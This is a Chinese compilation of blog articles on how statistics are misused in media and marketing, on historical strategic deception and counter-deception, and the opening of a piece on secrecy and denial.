一般情况下，统计数据的收集和汇报都能比较恰当。

但是，对于某些人来说，比如记者、律师，以及任何非统计学专业的人，他们在报告统计数据时往往会犯错。

要么是因为他们误解了统计数据，要么是因为他们没有意识到措辞方面的一些细微变化会改变其含义，再或者就是故意的，为了一个固定的宣传目的。

在运用统计学知识的任何阶段，比如在实验性设计，数据的收集、分析或解释过程中，都会出现使用者不能胜任统计工作的情况。

结果就是，报告的统计数据有时并不恰当。

考虑这样的例子。如果你正在说服股东，让他们相信你的公司经营状况良好，那么或许你会发布有关年度销量的统计数据，并且向他们展示公司的销量呈现稳定增长的趋势。

然而，如果你的公司产品的市场正处于扩张期，那么产品销量的增长原本就是可以预见的。

投资方和分析人士真正想要了解的极有可能是你的公司的产品的市场份额是否出现了变化。

假如由于竞争者突然发难，抢走了你的消费者，导致你的市场份额出现下滑趋势，那么怎样才能使销售情况报告仍然看起来很有吸引力呢？

很简单，你只需要对真正相关的市场份额统计数据不予报告，而代之以报告销量的统计数据就可以啦。销量在不断上升，一切都没有问题！

类似的例子非常多，都很能唬人。

人们在25年前的按揭申请中所显示的财务状况，对于建立今天的风险模型来说，很可能没有什么用处。网站上的消费者行为模式很快就会变得过时。

建造过街天桥时所用的混凝土的整体性统计数据，与统计建设桥梁所用的混凝土的整体性数据，也许毫无关联（即使两个建设工程刚开始时都使用了同一种混凝土，湿度和其他因素也有可能使其出现偏差）。

你可能听说过类似“4/5的牙医都推荐患者使用高露洁牙膏”这样的说法。这是真实情况。

这些已有几十年历史的广告，其背后的广告代理商想让你相信，牙医们最看好高露洁而非其他品牌的牙膏。

但是，这并不是真实情况。

英国广告标准局曾针对以上说法展开过仲裁调查，并最终裁定它是一种不公正的说法。

其原因在于，高露洁公司的调查问卷允许牙医们推荐的牙膏不止一种。

事实上，高露洁最大的竞争者的品牌名称在该问卷中出现的频率几乎和高露洁一样（但是在高露洁广告中你却看不到这个细节）。

⚠如果你不仔细思考人们传递给你的信息，那么凭借对统计样本单位的操纵，人们就可以用无数个手段来欺骗你。

有线电视网络公司 CSPAN（美国一家提供公众服务的非营利性媒体公司，由美国有线电视业界联合创立）的一条广告声称，其服务范围“可覆盖”一亿个家庭。

请注意，这并不意味着有一亿人在收看 CSPAN 的节目，甚至还有可能意味着没有任何一个人在收看它的节目。

然而人们往往很容易将注意力集中在“一亿”上。

对统计样本单位的操纵还能够影响公共政策。

一项针对洛杉矶市区各街道垃圾回收量的调查显示，其中一条街道的垃圾回收量是其他街道的2.2倍。

在市政局为该街道的居民颁发奖章之前，先想想看，为什么会出现这样的数字？

一种可能的情况是，这条街道的居民人数比其他街道多两倍以上——也许是因为街道很长，也许是因为该街道上有很多公寓楼。除非整个市区的街道都相同，否则，以街道为单位来衡量垃圾回收量就是不恰当的统计。

更好的统计方法是按照住户（衡量每个家庭的垃圾回收量）来统计。

由于人口多的家庭的物质消费比人口少的家庭要多，所以以个人为单位统计垃圾回收量是最好的做法。

也就是说，要调整垃圾回收数量的统计样本的单位，把街道上的居民人数考虑在统计当中，因为这才是这项统计工作正确的统计样本单位。

媒体经常使用这样的统计糊弄人。

2014年，整个加利福尼亚州干旱肆虐。同年，《洛杉矶时报》对加州兰乔圣菲市的居民用水情况进行了报道：

“ 9月，该地区住户平均每天耗用的水量几乎是加州南部沿海家庭每天用水量的5倍。这为他们赢得了‘全加州最大民用水挥霍者’这个不光彩的名声”。

但是，住户并不是这项统计真正恰当的统计单位。

更好的统计单位应当是个人—— 一种可能性是兰乔圣菲市居民的家庭规模更大，这就意味着洗澡的人更多，洗碗的人更多，使用冲水马桶的人也更多。

另一种可能性是，以英亩为统计单位，兰乔圣菲市住户的家庭占地面积往往更大。

也许为了防火和其他原因，住户在土地上都种上了绿色植被。所以，兰乔圣菲市住户的占地面积虽然较大，但是每平方英亩消耗的水量却并不比加其他地方多。

上述文章的问题在于，它们对数据做了调整，目的是使兰乔圣菲市居民的用水量看起来好像超出了配额。

但是，它们提供的数据实际上并没有证明其目的。

💡采用计算比例而不是计算实际数字的方法，往往有助于提供正确的统计样本单位。

假设你是一家公司的西北地区销售经理，负责销售的产品是通量电容器。虽然你的销量已经提高了很多，但仍然比不上公司销售方面的对手—— 来自西南销售区的人。

这几乎没有公平可言，对方负责的地区不仅地理面积更大，而且人口更多。然而，公司会根据你向上级展示的产品销售能力发放奖金。

有一种方法可以合理地汇报你的销售业绩：根据你负责地区的面积和人口来汇报销量。

换言之，在绘制销量图时，要按照销售区内平均每人或每平方英里的销量，而不是按照销售总量。

采用这两种方法中的任何一个，你的销售业绩都会看起来比别人更优秀。

新闻报道表明，2014年是飞机失事最为严重的年份之一：全年发生22次飞行事故，造成992人死亡。但是，如今的飞机其实比以往更加安全。

这是由于现在的航班数量比以往多得多，992的死亡数字相对于每

100万名乘客（或每100万英里的飞行距离）的死亡数字来说，其实代表着很大幅度的下降。

在一家主流航空公司的任何单程飞行过程中，你死于飞机失事的概率大约为五百万分之一 —— 这比你死于其他任何活动的概率都要小，比如步行穿过街道和吃东西（噎死或食物中毒致死的概率比死于飞机失事的概率还要高1000倍）。

在此处，⚠比较的基准非常重要。

这些统计数据的时间跨度都是一年。我们还可以改变统计基准，转而分析一小时内这些活动的情况，而这将改变整个统计量。

似是而非的差异

「图」

在试图弄清楚两个待处理对象之间是否存在差异时，常常需要运用统计学知识：同一块土地上施用的两种化肥、两种不同的止痛药、两种截然不同的教学方法、两组不同的薪水（比如，做同一种工作的男人和女人的薪水）。

两个待处理对象存在差异的原因有很多种：它们之间可能确实存在差异；统计样本中可能存在混淆因子，它们却与实际的统计对象毫不相干；计量方法可能有误；还可能存在随机变异—— 出现了一种小概率差异，它有时出现在方程的一边，有时出现在另一边，这要取决于你查看的时间。

研究者的目标在于寻找稳定、可靠的差异，而我们则要努力把差异和实验误差区别开来。

⚠请注意，对新闻媒体使用的“显著”一词的方式一定要保持警惕。

因为对统计学家来说，这个词语的含义并不是“显著”。

统计学中的“显著”指的是统计结果通过了数学测试，比如t测验、卡方检验、回归分析以及主分量分析等（这样的测试方法有几百种）。

统计学意义上的显著性测试，可以对用纯粹巧合解释统计结果的容易度进行量化。

当统计对象数量庞大时，即使程度上很琐碎的小差异都能够超出变化

和随机模式解释的范围。

这些测试并不能知晓哪个差异具有显著性，这是一种人为判断。

在两个统计群组当中，你的统计对象越多，就越有可能找到各个统计对象之间的差异。

假设我要测试两种汽车—— 福特汽车和丰田汽车的年度维修成本，我所采用的方法是，看一下每种汽车（各10辆车）的修理记录。

比方说，假定福特汽车每年维修成本的算术平均数比丰田汽车高8分钱。这个小差异极有可能达不到统计学意义上的显著，而且很明显的一点是，每年8分钱的维修成本差异不会成为选择购买哪种汽车的决定因素—— 由于差异太小，因此无须考虑。

但是，如果我看的是500000辆汽车的修理记录，这个8分钱的差异便具有了统计学上的显著性。

但是，从实际意义来说，这个差异却无关紧要。

类似地，一种治疗头疼的新药物可能在统计学意义上能*更迅速地*治愈你的头疼，但如果只是快了2.5秒，这……你真的觉得它很重要吗？

内插法和外推法

「图」

提问：星期二，你走到花园，看到蒲公英长到4英寸高。星期四，你又看了一眼，蒲公英已经长到6英寸。那么，星期三时蒲公英有多高呢？

没人知道确切的答案，因为没人在星期三时测量蒲公英的高度。

但你却可以猜测：星期三时蒲公英的高度有可能是5英寸，这就是内插法。

内插法指的是利用已知的两个数据点，估算出你想要知道的位于这个两点之间的那个点的数值。

那么6个月后，蒲公英会长到多高呢？

如果它每天生长1英寸，你就可以回答说6个月（约180天）后它将长高180英寸，长到186英寸，或者说高度超过15.5英尺。

此处，你所使用的方法就是外推法。

但是你见过这么高的蒲公英吗？一般人都没见过，那基本是怪物。

因为当蒲公英长到一定高度时，其自身的重量会把它压倒，或者它会死于其他自然方面的原因，或者被人踩踏，又或者会被除草剂除掉。

内插法并不是一种十全十美的方法，但如果两个观察对象相互间的关系非常紧密，那么使用内插法一般都能做出较好的估计。使用外推法的误差则更大，因为你的估计已经超出观察对象的范围。

一杯咖啡的温度降到室温所需要的时间是由牛顿热力学定律决定的（还受到其他因素的影响，比如气压和杯子的组成成分等）。

如果你的咖啡的起始温度为华氏145度，那么随着时间的推移，你会观察到其温度降低的情况如下表所示：

你的咖啡的温度每分钟会降低5华氏度。如果你在两个观察点之间进行内插，比方说，你想知道两个测量时间点中间咖啡的温度，那么你的内插所得数值将会非常准确。

但如果你从上述温度模式中进行外推，那么你很有可能得到一个荒谬的结果，比如说30分钟后咖啡的温度将会降至冰点：

外推法没能考虑到这样一个物理学上的限制条件：咖啡的温度不可能降到室温以下。

同时，外推法还忽略了另外一个情况：当咖啡的温度降到与室温接近时，下降的速度就会减缓。

所以，咖啡冷却函数图形的其余部分应当是这样的：

请留意，图中前10分钟内的曲线坡度在10分钟之后没有继续保持——曲线变得平直了。

这说明，当你使用外推法时，有两件事情非常重要：（**1**）必须要有大量的观察点；（**2**）必须具备关于所统计事件发生过程的一些知识。

精确度和准确度不是一码事

「图」

看到数字具有精确度时，人们往往会认为它们也具备准确度。

但事实上，精确度和准确度并不是一回事。

如果我说“如今很多人都在购买电动汽车”，你会认为我只是在做猜测；但是如果我说“售出的新汽车中有16.39%是电动汽车”，你就想当然地认为我所说的是实际情况。

可是，你混淆了精确度和准确度。上述数据有可能是我编造的，也有可能是我在电动汽车4S店附近的少数人中抽取的狭隘的统计样本。

这也是媒体最常用的忽悠大法。

回忆上篇文章中的例子：《时代周刊》的那个标题，即 “使用手机的人比用马桶的人还多”。

这种表述并非不合理，但却是对事实的一种扭曲，因为联合国的一项研究表明事实并非如此。

联合国的研究报告称，可以使用手机的人比可以使用马桶的人多。我们知道，这种表述完全是另外一回事。

几十个人可以共同使用同一部手机。尽管全球范围内卫生设施的缺乏仍然令人忧心，但该杂志的标题听上去让人觉得，假如你去统计数量，会发现世界上的手机数量比马桶还要多。然而，这种观点并没有数据的支撑。

当你在统计学中见到类似“可以使用到”这样的表述时，一定要提高警惕。

人们可以使用到医疗保健服务，不过这意味着这些人的居住地距离有医疗设施的地方比较近，并不是说这些医疗场所就一定会接纳他们，或者人们就一定能够负担得起医疗费用。

正如上文中解释的那样，尽管 CSPAN 公司的电视节目可以覆盖到1亿个家庭，但它并不能表明有1亿人在收看该公司的电视节目。

只要能够说明，世界总人口中有90%的人都可以使用互联网连接，那

么我就可以宣称，全世界有90%的人都“可以阅读到”这篇文章。

比较截然不同的事物

「图」

用统计数据说谎的一种方式是对比不相同的事物，比如比较数据集、人口、产品类型等，并且假装它们是相同的。

曾经有一篇文章说，自由职业者比996还累（工时更高）。

这也许是事实，但是，自由职业和996之间没有可比性。就如自主勤奋和被剥削之间没有可比性。

当贝索斯成为第一首富的时候，亚马逊的员工在大街上排着长队领取政府救济的食品券，你不能因此说：“失业人士都不一定能领到食品券呢”，同样道理。虽然是事实。

再一次，媒体的宣传很喜欢采用这类谬误。

比如采用较隐蔽的方法，你就可以宣称，战争时期（比如阿富汗战争）在部队服役要比待在美国本土舒适的家里更为安全。

这种说法的推理起点是：2010年，有3482名美国现役军事人员丧生。鉴于美国军队的总人数为1431000人，所以军队现役人员每1000人中就有2.4人牺牲；而2010年，全美国每1000人中死亡的人数为8.2。

换言之，身处作战地区的军人的安全率是居住在美国本土的人的3倍多。

这是什么情况？所有数据都是真实可查的啊？因为，上述两个统计样本没有相似性，所以不能直接将其加以比较。

现役军人一般都是健康状况良好的年轻人。这些人的伙食很好，医疗条件也很好；而美国总人口却包括了老年人、病人、无家可归者、瘾君子、飞车党、掷刀游戏玩家（一种儿童技巧游戏，不能让掷出的刀子在地上呈竖立状态的玩家，即被罚以用牙齿拔地上的刀）……以及很多饮食和医疗条件都很差的穷人。

所以，无论身处何地，美国大众的死亡率都较高。美国军队现役人员并非全部都身处作战地区—— 其中一些人待在非常安全的军事基

地，或坐在五角大楼的办公室里，抑或驻扎在位于郊区零售商场的部队征兵处。

《美国新闻与世界报道》曾经刊载了一篇文章。该文比较了20世纪30年代美国全国范围内分别支持民主党和共和党的选民人数比例。

它的问题在于，统计抽样方法已经随着时间的流逝而发生了变化。

在20世纪三四十年代，人们采用的抽样方法是现场采访或信件邮递，而到了70年代则通过电话采访进行抽样调查。

20世纪早期的电话抽样结果偏向于那些拥有座机的人，即富裕阶层。至少在那个年代，富裕的选民倾向于投票支持共和党。

进入21世纪，手机成为抽样调查的途径。此时的抽样结果则偏向于那些选择支持民主党的年轻选民。

无法确切地知道，20世纪30年代以来，支持民主党和共和党的选民人数的比例是否发生了变化。

原因在于，相关的统计样本相互之间存在矛盾之处。

人们普遍认为自己研究的是同一件事，但事实上却并非如此。

在做统计结论之前，一定要当心样本方面的变化！

《美国新闻与世界报道》曾撰文写到，医生数量在12年里增加了，而同一时期医生的平均工资却显著下降了。

读者会从中获取什么信息呢？你或许会下结论说，由于医生人数太多，所以现在不是选择成为医生的好时机。

而且，由于医生人数大于社会需求，所以每个医生的薪水都下降了。

你的结论可能是正确的，但是，请注意，上述报道中并没有证据可以支撑这个结论。

⚠有时，人们之所以会比较截然不同的事物，是因为它们来自不一致的次级样本，即人们忽略了一个自己尚没有认识到其重要性的细节。

例如，当从一块施用了新品种化肥的农田中抽取玉米样本时，你也许并没有注意到，一些玉米穗获得的日照更多，而另一些玉米穗吸收的

水分更多。

再比如，在研究交通模式如何影响街道路面的重新铺设时，你可能没有意识到，某些街道表面的水流更多，从而影响了所需要的沥青数量。

统计样本的混合是指把不相同（不同种类）的事物全部放在同一处或归入同一类别—— 对比截然不同事物的一种形式。

如果你考察的是由同一家工厂生产的有缺陷齿轮的数量，那么你就有可能把两种完全不同的齿轮放在一起计数，从而使最终的统计数字满足你的特定目的。

再比如，你想把失业问题作为一个一般性的问题来探讨，那么就存在这样一种风险，即 把背景情况很不同的人和真正的失业者混杂到一起。

一些人身体上有残疾，所以无法参加工作；一些人由于在工作中偷窃或醉酒因而让雇主有正当理由将其解雇；有一些人想要工作却没有接受过相关培训；一些人在监狱服刑；还有一些人不打算再工作了，因为他们已经回到学校学习、或者靠家里养活自己。

当用统计数据来影响公共政策，或者为某事筹集善款，抑或营造社会舆论时，人们经常会忽视统计样本的细微差别，但正是这些细微的差别造成了完全不同的统计结果。

一个报告表明，西班牙年轻人的失业率达到了令人惊诧的23%。该报告其实把一般来说应当出现在不同类别中的人混杂在了同一个样本之中了：它把没有找工作的学生也算作失业人员，同时还把刚被解雇的工人和正在找工作的工人也归入失业人员之列。

2015年7月，《今日美国》报道称，美国的失业率下降到了5.3%，“这是自2008年4月以来的最低值”。

综合性更强的新闻机构，包括美联社（AP）、《福布斯新闻》和《纽约时报》均报道了失业率明显下降的原因：很多失业的人放弃了寻找工作，所以从技术上来讲已经不能再将其视为工作人口了。[Schwartz, N. D. (2015). Jobless rate fell in June, with wages staying flat. New York Times, B1 (July 3, 2015)]

似是而非的样本类别细分

「图」

⚠与样本类别混合相反的做法是样本类别细分，它也能诱使人们相信各种虚假的信息。

为了把X说成是导致Y出现的首要原因，只需要把其他原因细分为越来越小的类别，就可以了。

假设你在一家生产空气净化器的公司工作，你需要完成这样一项工作：证明在美国，呼吸道疾病是导致死亡的首要疾病，它排在心脏病和癌症之前。

事实上，截至今天，排在第一位的致死性疾病仍然是心脏病。

疾病控制与预防中心的数据是：本年度心脏病致死：611105例；癌症：584881例；慢性下呼吸道疾病：149205例。

现在，暂时不考虑家用空气净化器有可能无法显著地预防呼吸道疾病这样的细节性问题。

但是，从产品营销的角度来看，诸如你的公司“致力于预防致死率排在第三的疾病”之类的宣传说法，并不能给人留下深刻的印象。但是，等一下，心脏病并非只有一种，它有很多种：

- 急性风湿热和慢性风湿性心脏病：3260例
- 高血压性心脏病：37144例
- 急性心肌梗死：116793例
- 心力衰竭：65120例

像这样的心脏病种类还有很多。

下一步，把癌症也细分为更小的次级类别。通过不对样本种类进行混合，并且创造出这些非常好的细分类别，你就成功做到了—— 慢性下呼吸道疾病现在俨然成了致死率最高的疾病。

现在你已经为自己赢得了一份奖金。

一些食品公司就采用了这种细分样本类别的策略，从而隐藏了其产品中脂肪和糖分的含量。

“假新闻”这个概念本身就是错误的，纯粹的*假*占据比例不会超过10%，而且不难识别；而如果你把注意力集中的“假”上，就会错过

90%的隐性误导 —— 这**90%**才是真正难以被识别的。

能起到有效的忽悠作用的新闻完全可以是真实的，只需要使用一些巧妙的措辞和/或对数据呈现方式的小小调整。

这就是为什么要普及这些鉴别知识，尤其是关于“什么是证据” 的概念标准，只要能有更多人具备鉴定的直觉，假货就不会造成太过致命的结果。

顺便推荐一本书《How to Lie with Bad Data》这个链接您可以在线下载。

本系列的下一篇文章将介绍语言方面最为微妙的认知操纵，希望这些知识能对您有用。我们下次见。〇

原文

想象力、创造力和较量 — 欺骗与反欺骗的互动（3） - iyouport

战略性欺骗-识别和抵制

【2019年8月13日存档】所谓道高一尺魔高一丈，对峙中唯一不变的就是较量的互动。在对手研究你的时候你也必须更深入地研究对手。战略性欺骗完全可以成为弱者的武器，虽然它并非绝对灵丹妙药。技术实力依旧是关键。只有当你和对手的力量落差太大，你的实力无法有效发挥的时候，请记住，你还有心理学这种武器...

经验显示，挫败对手实施欺骗的努力十分困难。但每一次欺骗行动都注定留下蛛丝马迹。

因此只要进行了欺骗，就存在被发现的可能。区别只是在于，发现的时间，是及时、还是为时已晚。

此外，尽管所有欺骗计划都规定了严格的保密措施，但从现实情况来看，没有任何欺骗计划能绝对保密。

在整个欺骗行动中，有多少种欺骗方法，就有多少种反欺骗的对策。

欺骗和反欺骗是一个反复互动的过程，其运动机理近似于动态博弈 —— 潜在的进攻方先采取某些行动，防御方可能根据该行动采取相应的行动，而进攻方则可能考虑到防御方的反应，从而会在进一步的行动中调整策划案。

总之，就如密码学本身就包含构建和破解两部分，战略性欺骗自诞生以来，欺骗和反欺骗的较量就从来没有停止过。

—— 情报和反情报的对抗 ——

「图」

情报领域是这场暗战的关键之地。

双方的情报和反情报的斗争从来不会停止。可以从战略性欺骗的行动过程来了解其中的明枪暗箭。

1、首先，在战略性欺骗计划阶段，表现为欺骗方的积极情报、和潜在被欺骗方的反情报互动

英国学者 Howard 说，欺骗不仅需要良好的安全保密，而且需要良好的情报。这是所有欺骗活动中两个必要的支撑。

⚠对对手情报能力和弱点的了解将方便欺骗者有针对性地制订欺骗计划，有针对性地释放错误信息，并确定对方的接收情况。

要知道，这些情报无疑是潜在被骗者的核心机密，其反情报措施森严，双方的情报战就此拉开序幕。

欺骗方的矛是否能刺破防御方的盾，决定了这场情报战的胜负，除非有特殊情况，如二战中英国英国情报部门破解 Enigma 从而掌握了德国的核心机密。

通常，有关决策者心理之类的核心情报难以通过情报搜集手段获得。因此，欺骗方只能搜集一些相关资料，通过情报分析手段对对手决策者的心理及认知进行判断，从而为有针对性的欺骗行动占取先机。

2、其次，在战略性欺骗的实施阶段，针锋相对的是潜在被骗者的积极情报活动与欺骗方的反情报活动。

任何欺骗行动都是不完美的，欺骗者也清楚对手希望看见自己的底牌，因此必须压制对手获取情报的能力，封锁对手搜集情报的渠道，将欺骗和拒止手段结合起来，隐真示假。

⚠社交媒体情报自社交媒体诞生之初就是你所有对手对你进行情报活动的一个关键窗口，而直到如今人们依旧没能重视起这件事，导致“我在明他在暗”的窘迫。从一开始就输掉了。

反抗绝不可以这样。要时刻知道，你的对手一直在千方百计地研究你，而你从来不知道他们的研究重点是什么、以及哪些信息正在起到间接的关键作用。所以，至少不要亲手曝光自己。

更多方法详见《角色扮演：行动者刚需》《分裂人格的魅力》。

如角色扮演和分裂人格，这些基本的欺骗方式本身就是针对对手情报分析能力的一种反情报方式，它以挫败对手的行动为根本目标。

欺骗的成功意味着被骗者的情报失误。

—— 想象力、创造力和较量 ——

「图」

欺骗是一门充满想象力和创造力的艺术。

战略性欺骗者往往都是不守常规的决策者，他们乐于突发奇想，为潜在的被骗者带来一次又一次的出其不意，“以正合、以奇胜”。

同样，⚠成功的反欺骗也必须从此处入手，突破常规的思维定势，透过看似真实的噪音发现真正的信号。

IYP在OSINT演示中体现了很多情报挖掘的思考方式，其中大部分内容均表现了突破思维定势的线索追踪技巧。这种技巧不论是对进攻还是防御来说，都非常有用。

想象力和创造力的较量是欺骗和反欺骗互动中不可避免的表现形式这一。不论是哪一种欺骗，不论其目的如何。

本质上，战略性欺骗的想象力和创造力首当其冲的表现就是他们敢于在战略层面任由欺骗充分发挥效能。

但内容上，欺骗者最体现想象力的地方就是手段方法。虽然 Whaley 认为，欺骗的手段方法即便多次重复使用也不会失去效应，但是，成功的欺骗者大多采取了非常罕见的非常规手法来隐真示假。

1943年，盟军在北非沿海港口集中大量部队，准备登陆西西里岛。从战略上看，北非战役结束后，盟军的下一个目标就是西西里。

“关于这一点，只要不是十足的笨蛋，谁都会知道” —— Anthony Browne

但为了减少登陆阻力，盟军决定实施欺骗。

丘吉尔批准的计划是这样的：搞一具男性尸体，把他装扮成皇家海军陆战队一名因飞机失事而死亡的参谋人员（“马丁上校”），在他身上放一份特别炮制的文件，明确表示盟军准备在地中海发起进攻。但目

标并非西西里。然后让尸体漂流到西班牙海岸，引起德军和西班牙情报机构的注意。

这个欺骗计划极具想象力。当那个不存在的人携带着精心伪造的文件出现在希特勒面前时，德国人“从没想到英国情报机构会利用这样的手段来传递假消息”。

欺骗者的想象力和创造力有些是出自个人的天赋和性格因素，有些则是受到外在环境的刺激。

创造力有些时候会在巨大的外在环境刺激下爆发。

此时就不仅表现出设计陷阱的手段精妙，还能表现在他们的突破常规方面，甚至敢于冒险突破自己的行事风格。

在历史上成功的欺骗案例中，⚠很少有被骗者因为缺乏情报资料而错过发现欺骗的机会，他们往往只是因为在分析过程中缺少想象力和创造力，而失去了觉察欺骗的机会。这点很重要。

在这个意义上，与其说欺骗对象落败于欺骗，不如说他们是在想象力和创造力上输给了对手。

⚠要破解欺骗者多样化、非常规的欺骗方法，潜在受骗者往往需要突破思维定势。

储存在记忆中的信息就如一张巨大的多维蛛网，而打破思维模式和创新就是 “在记忆蛛网中建立新的联系和路径，从而将原本并无直接联系或联系微弱的事实和概念，重新连接起来”。

没有什么信息是不相关的 —— 英国谚语

1968年，苏联突然入侵捷克斯洛伐克，举世震惊。苏联和捷克之间的危机升级以及此前所谓的军事演习，早已把这次入侵映照得十分透彻，但是，所有的情报机构都没有察觉。

因为没有人敢于想象社会主义国家会发生入侵事件，同样，也没有人想到苏联此前的军事演习和政治姿态与最后的强制手段是有对应关系的。

相似的情况发生在海湾战争之前的伊拉克。谁能想象一个阿拉伯国家会对其阿拉伯兄弟发起突然袭击？谁能想象伊拉克在经历了8年的两伊战争后，萨达姆还会发起一场战争？

—— 行动力的竞赛 ——

「图」

理论上，尤其是认知心理学理论上，战略性欺骗意味着心理上牵引对方的决策者，这是一个在无形中诱导心理权衡的过程。

很明显，心理战使用的也是相似的方法。他们有想通之处，但是有些情况下不完全相同。

⚠心理战的目标并不是让对手有特别的行动，而仅仅是影响对手的心境，让对手感到战争是无望的、反抗是无用的、社会是虚无的、自己的遭遇是不公平的、对手是强大无敌的……（在此需要关联《“冰河”已在你心里，这就是他们的目的—— 监视之恶（三）历史和现实，拆穿谎言》）这才是成功的心理战。

⚠战略性欺骗则不满足于单纯的心理影响。从行为本质上讲，战略性欺骗是以欺骗者行为牵动欺骗对象的利他行为，双方在行动力方面的竞赛却是看得见的。

对于欺骗者而言，行动力指的是执行欺骗的能力，它是使纸上谈兵的欺骗计划化作现实的欺骗行动的关键；对于欺骗对象而言，行动力意味着应对欺骗的反应能力，也是反欺骗从理论到实践的关键。

行动力的衡量指标包括双方在作为时的速度、质量等要素。

值得一提的是，在战略性欺骗中，除了决策者、计划制订者以外，还有一类人，即 执行人员。根据需要，执行人员可以暂时吸收正规部队的军人参加活动，让他们进行假的无线电通信和欺骗性伪装，模拟大部队的运动或驻扎。

不论是政治人物、还是外交官、公务员、特工、商人、还是新闻记者，都是战略性欺骗中的非常重要的角色。

二战时盟军的欺骗行动之所以如此出色，与良好的行动力是密不可分的。仅就伪装示假方面，就能看出盟军在行动上丝毫不怕麻烦、不惜成本、毫不马虎。

为了使德军深信盟军的进攻目标是加来，盟军请来了当时英国最优秀的建筑师，在多佛尔修建了一座巨大的输油码头。这座码头包括输油管道、储油罐、发电站、消防队、乃至警务室，一应俱全，但全部都是采用伪装了的脚手架、纤维板和破旧的下水管道制成的。为了进一

步显示盟军的主要集结地点在多佛尔和剑桥地区，通信人员甚至从蒙哥马利的实际驻地朴茨茅斯到多佛尔设了通信专线，使所有电信均从多佛尔发出。

由于欺骗者本身所处的主动位置，其行动往往有充分的时间，这是成功欺骗行为的一个必要条件，却经常被忽略。

欺骗者需要有充足的时间一点点对对手制造虚假印象。时间越多，对欺骗者就越有利；越是具有战略性的行动，就越需要时间。

珍珠港事件前，尽管日本方面精心安排了外交谈判、特遣队实施无线电静默等方式，掩饰即将发起的突袭，但是，美国情报部门通过“魔术”破译了日本外交电报，表明日本想在太平洋某地发起攻击。

原本反欺骗和避免突袭已成定势，可是，由于各种原因，这份情报报告在各级渠道中周转直到最终落到夏威夷陆军司令官手中时，已经是下午两点多，珍珠港已经变成了一片废墟。

足见，是美国方面的行动滞后导致了惨剧。

从这个案例可以看出，利用密码破译等技术侦查手段已经显现出很大的优势，然而，⚠缺少的是迅速处理海量资料的能力，更缺乏装置难以从“噪音”和欺骗中分离出正确的“信号”。

在巴巴罗萨行动、第四次中东战争前，都存在类似现象。

欺骗者经常能占据上风。但如前所述，被骗者在逻辑上是有可能挫败骗局的。因此，必须考虑潜在的被骗者的弱点，以及反欺骗的可能性，来决定实施一项周密的欺骗行动。

—— 弱者的武器 ——

「图」

战略性欺骗有诸多益处，可以让你实力倍增、是反情报利器、收效大、成本低，能够迅速扭转战略态势。但是和所有策略一样，它是辅助手段，无法完全取代实力，技术能力依旧是主要因素。

历史上的战略性欺骗十有八九都能成功，而且带来的是远远大于成本的收益。这是绝对的优势，也因此欺骗者乐此不疲，以至于忘记了决定最终战略后果的是实力，

战略性欺骗是弱者的武器。

许多人相信，由欺骗而达成的突然性可以增大弱者的实力，从而使对峙辩证法失灵。所以，有些决策者在策划时会把战略性欺骗视为灵丹妙药。

赫鲁晓夫在决定向古巴部署导弹时，也求助于战略性欺骗。赫鲁晓夫希望通过欺骗隐蔽苏联的行动，在美国获取真实消息时已经将导弹发射基地建好，这样不仅可以改变苏联和美国之间的战略力量对比，还能够迫使美国在柏林等问题上作出政治让步。

如果不出意外，苏联人本来完全可以建成那些基地，进而将美国大多数重要城市置于危险的边缘。但是，苏联的战略性欺骗在最后关头输掉了，接踵而来的是美国的最后通牒以及战争甚至核战的威胁。

事实上大多数战略性欺骗者都能意识到这个问题，即 它具有风险性和投机性。

欺骗和拒止是相辅相成的，没有严密的安全措施，欺骗计划的泄漏自然会将欺骗者陷入不利的境地。

地缘政治的本质就建立在欺骗上，在国际外交中行使欺骗策略不会受到道德谴责，但肯定会影响欺骗者的信誉。古巴导弹危机中，尽管欺骗计划失败，苏联做出了妥协举动，但是这一事实足以令苏联颜面尽失，最终波及赫鲁晓夫下台。

在国内政治中，执政党和反对派之间的对峙经常无所谓什么信誉，但如果反对派的手段太脏，对其日后的立足有可能带来不利。

可能有些意想不到的后果 ——

⚠欺骗者在传递的假消息里面必须掺杂一些真实信息。这有点像政治宣传中常用的半真相招数（Half-truth）。但是在战略性欺骗中，这点更为危险。

因为其中包含的真实信息的风险难以准确评估，有时会因此带来严重的后果。这方面最典型的是50年代联邦调查局的“奇袭”行动。

当时联邦调查局希望通过向苏联军事情报机构提供假情报，误导苏联的生物武器研发方向，浪费苏联的人力和资源。

它通过双重间谍向苏联格鲁乌提供了一种名为“GJ”的毒气资料。尽管

这些资料已经经过美军科学家的严格评估，并得到了参谋长联席会议的批准，但是，事实上苏联人根据这些材料真的发展出了自己的生物武器。

这一例子充分说明了假情报的风险。美国人相信自己提供的材料会让苏联的研究进入死胡同，但实际上苏联人通过另一个渠道解决了这一问题。

⚠这里面的错误在于“此处未被发明综合症” not invented here，美国人过于相信自己对某一技术的把握了，认为人类的思维模式、解决科技问题的思路大致相同。但事实上并非如此。对手解决问题的途径有时候会出人意料。

不要轻敌。

这种风险很难准确评估，于是它会构成战略性欺骗的另一种无形成本。

下一篇文章将介绍主要方法。这些方法在大大小小的欺骗计划中都是非常好用的，不论是骗丈母娘、社交工程攻防、政治反抗、反侦察、游击队、外交、还是实战。

—— 未完待续 ——

原文

偏执的保密 — 欺骗的主要方法之一（4） - iyouport

战略性欺骗-识别和抵制

【2019年8月14日存档】全方位保密是任何行动成功的基础。你的对手对你了解得越少，你的机会就越多。但这只是一半工作 ……

首先在这里回顾前文内容：

- 《欺骗不是撒谎这么简单：对峙的艺术（1）》
- 《伟大的自欺 — 战略性欺骗的心理维度（2）》
- 《想象力、创造力和较量 — 欺骗与反欺骗的互动（3）》

本文继续。

战略性欺骗的主要方法可以分为两大类：拒止和欺骗。拒止就是保密，不让对手通过任何情报渠道获取到真实信息，以保证战略性欺骗的正常运行。

由于存在很多人力情报和技术情报手段，针对这些手段的拒止措施也多种多样。关于情报手段的介绍，详见这篇文章《“谷歌地图”是比詹姆斯邦德更棒的间谍》。

通常来说，大规模的行动部署是无法隐藏的，仅依靠保密不可能达到目的（游击队方案相比下更棒），还需要有相应的欺骗方法来迷惑对手的耳目。

这就涉及各种欺骗措施。欺骗的目的是努力让对手相信假象而不是事实，引导其作出错误的判断。

拒止虽然不是直接的、有意的欺骗行为，但是可以控制目标的知觉，是实施欺骗的重要前提和基础。正是拒止让欺骗成为可能 —— 您现在知道了为什么专制国家的洗脑运动是以封锁为大前提的？更重要的是，知道了为什么我们要坚持不断推荐隐私保护和匿名措施？

⚠不论是攻还是防，保密都是最重要的大前提。

—— 拒止措施 ——

「图」

